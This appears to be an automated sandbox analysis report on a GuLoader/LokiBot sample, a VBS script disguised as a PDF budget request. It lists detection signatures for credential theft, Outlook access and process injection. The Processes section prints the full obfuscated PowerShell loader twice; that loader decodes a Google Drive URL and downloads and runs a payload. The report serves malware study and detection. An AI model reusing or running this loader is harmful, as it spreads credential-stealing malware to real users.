Malware Analysis Report

2024-11-30 23:50

Sample ID 240909-qdjk5a1hpg
Target 6cb1779864f7d98f9198d2e4361bc1cf37e0d6cbe6a62cdd2f99ef963669b188
SHA256 6cb1779864f7d98f9198d2e4361bc1cf37e0d6cbe6a62cdd2f99ef963669b188
Tags
guloader lokibot collection credential_access discovery downloader execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6cb1779864f7d98f9198d2e4361bc1cf37e0d6cbe6a62cdd2f99ef963669b188

Threat Level: Known bad

The file 6cb1779864f7d98f9198d2e4361bc1cf37e0d6cbe6a62cdd2f99ef963669b188 was found to be: Known bad.

Malicious Activity Summary

guloader lokibot collection credential_access discovery downloader execution spyware stealer trojan

Guloader,Cloudeye

Lokibot

Credentials from Password Stores: Credentials from Web Browsers

Blocklisted process makes network request

Checks computer location settings

Legitimate hosting services abused for malware hosting/C2

Network Service Discovery

Accesses Microsoft Outlook profiles

Command and Scripting Interpreter: PowerShell

Suspicious use of SetThreadContext

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of NtSetInformationThreadHideFromDebugger

Enumerates physical storage devices

System Location Discovery: System Language Discovery

outlook_win_path

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

outlook_office_path

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-09 13:08

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-09 13:08

Reported

2024-09-09 13:11

Platform

win7-20240903-en

Max time kernel

144s

Max time network

150s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BUDŽETSKI ZAHTJEV 09-09-2024·pdf.vbs"

Signatures

Guloader,Cloudeye

downloader guloader

Lokibot

trojan spyware stealer lokibot

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Network Service Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1424 set thread context of 1212 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2400 wrote to memory of 2768 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2400 wrote to memory of 2768 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2400 wrote to memory of 2768 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2768 wrote to memory of 2744 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2768 wrote to memory of 2744 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2768 wrote to memory of 2744 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2768 wrote to memory of 1424 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2768 wrote to memory of 1424 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2768 wrote to memory of 1424 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2768 wrote to memory of 1424 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1424 wrote to memory of 1572 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1424 wrote to memory of 1572 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1424 wrote to memory of 1572 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1424 wrote to memory of 1572 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1424 wrote to memory of 1212 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1424 wrote to memory of 1212 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1424 wrote to memory of 1212 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1424 wrote to memory of 1212 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1424 wrote to memory of 1212 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 1424 wrote to memory of 1212 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wab.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BUDŽETSKI ZAHTJEV 09-09-2024·pdf.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while (!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while (!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"

